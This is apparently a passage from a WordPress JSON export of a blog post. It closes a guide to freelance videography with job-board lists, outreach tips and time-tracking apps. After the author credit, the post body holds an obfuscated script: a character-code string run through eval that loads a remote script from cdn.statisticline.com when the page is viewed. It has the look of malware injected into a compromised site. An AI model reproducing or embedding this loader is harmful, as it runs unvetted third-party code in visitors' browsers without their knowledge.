style=&quot;font-weight: 400;&quot;>Elance<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Guru<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Freelancer<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>UpWork<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Veed<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>SimplyHired<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>ProductionHub<\/span><\/li>\n<\/ul>\n<p><span style=&quot;font-weight: 400;&quot;>Take a look at FreeTrain&#8217;s Freelance Jobs Board as well.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>When you sign up, complete all forms properly and make sure to include a friendly portrait photo as a profile picture. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Some websites, like PeoplePerHour, have an endorsement feature where previous clients can vouch for your work similar to LinkedIn.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>When you apply for work:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><b>Your cover letter is everything.<\/b><span style=&quot;font-weight: 400;&quot;> We recommend being upbeat and enthusiastic in tone. Always read the job post and reference it in your cover to letter to show that you\u2019ve actually read and understood it. Relate your experience to the job and explain how your skills are able to fulfil their project\u2019s requirements.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Try to be helpful.<\/b><span style=&quot;font-weight: 400;&quot;> That means offering your own insight as a creative professional. Build rapport by asking about the project and complimenting it if appropriate.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Always ask questions to help you refine your brief. <\/b><span style=&quot;font-weight: 400;&quot;>If you accept a job and then ask tons of extra questions then it doesn\u2019t only make you look like you didn\u2019t consider the role, it also gives your client an opportunity to load you with more work and extra tasks.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Consider these <\/b><b>psychological tips for composing messages.<\/b> <span style=&quot;font-weight: 400;&quot;>You should always try to gauge the tone of the job poster and respond by matching their tone and sentence length. Matching their messaging showcases your flexibility with language and showcases to potential clients that you\u2019re competent at writing video scripts.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>An Example of an Outreach Message:<\/b><span style=&quot;font-weight: 400;&quot;> Hi [Name] I was just looking through your project notes\/job listing, I\u2019ve worked in XYZ before, etc. Please see my attached showreel which contains the following clips, I\u2019ve previously worked on [Project Skill], [Project Skill 2] that are specifically relevant to your [Project Name]. I look forward to hearing from you.<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Time_Tracking\"><\/span><strong>Time Tracking<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>When you take on freelance work, the most likely scenario is that you\u2019ll be offering a freelance rate per milestone or project. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>For example, if the task is to edit 2 hours of film footage then it\u2019s up to you to consider how long this will take you and offer an overall amount that covers your time and work. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>A second scenario is that you\u2019ll work at an hourly rate. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>To do this properly, you\u2019ll have to give the client an indication of how long the project will take and then charge per hour. You\u2019d then begin work, track your time and charge accordingly. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Time tracking is optional but there\u2019s no doubt that it\u2019s a rising force in the freelance world. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Time tracking helps both you and your client to view and understand the activities that have contributed towards a project\u2019s completion. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Sometimes a client will be pretty stringent on seeing timed evidence of your work but most of the time, they\u2019ll be happy for you to take as long as you want so long as you stick to their budget.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Time tracking software ranges from simple timers that you can stop and start yourself to more complex programs that track your software usage and display work data in graphs and charts. <\/span><\/p>\n<h3><strong>The Benefits of Time Tracking Software<\/strong><\/h3>\n<p><span style=&quot;font-weight: 400;&quot;>Time tracking allows you to:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Discover and track how long your work is taking so you can work out your hourly rate. This can help guide your freelance rates for future projects.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Keep work within your client\u2019s timescale and budget.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Show your client graphical information on what you\u2019ve been doing with your time. <\/span><\/li>\n<\/ul>\n<p><span style=&quot;font-weight: 400;&quot;>Several apps that we recommend for tracking your time are:<\/span><\/p>\n<ul>\n<li><span style=&quot;font-weight: 400;&quot;>Toggl<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>RescueTime<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Harvest<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Hubstaff<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Time Doctor<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Timely<\/span><\/li>\n<\/ul>\n<p><span style=&quot;font-weight: 400;&quot;>Google Chrome Extensions for time tracking:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>TrackingTime<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Simple Time Tracker<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>So we\u2019ve covered all of the essential areas that you need to focus on to kickstart your video freelancing career. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Now, it\u2019s up to you to make it happen, be confident and realise that it will take time to establish yourself as a quality freelance videographer &#8211; it\u2019s definitely worth the wait.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Always be positive, pragmatic and enthusiastic about your approach to freelance videography &#8211; it\u2019ll be a great experience! <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>At the beginning, things will be their slowest but that\u2019s normal and so long as you press on, you\u2019ll 100% see results if you follow the steps in this guide. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Never give up and always look to better your own knowledge as you go forward into the freelance world. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>With a bit of time and effort, landing serious gigs is possible and they\u2019re not just lucrative but are also a lot of fun! <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>One thing can lead to another and before you know it, you will realise that you have a full-blown career in freelance videography. Good luck!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><em><span style=&quot;font-weight: 400;&quot;>This article was produced by Sam Jeans from <\/span><a href=\"&quot;https:\/\/vidioh.co.uk&quot;\" class=\"broken_link\"><span style=&quot;font-weight: 400;&quot;>Vidioh<\/span><\/a><span style=&quot;font-weight: 400;&quot;>, a video brochure marketing company that make incredible <\/span><a href=\"&quot;https:\/\/vidioh.co.uk&quot;\" class=\"broken_link\"><span style=&quot;font-weight: 400;&quot;>video in print products<\/span><\/a><span style=&quot;font-weight: 400;&quot;> that help clients to engage with their prospects, customers and employees.<\/span><\/em><\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The world of internet freelancing has created a vast amount of unique opportunities for people all around the world. Online freelancing has made the world of work easier and smaller as experienced and knowledgeable individuals can now easily find freelance clients with those who are looking for their desired skill set. For many, it\u2019s a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6239","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6239"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6239"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6239\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6239"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6239"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6239"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}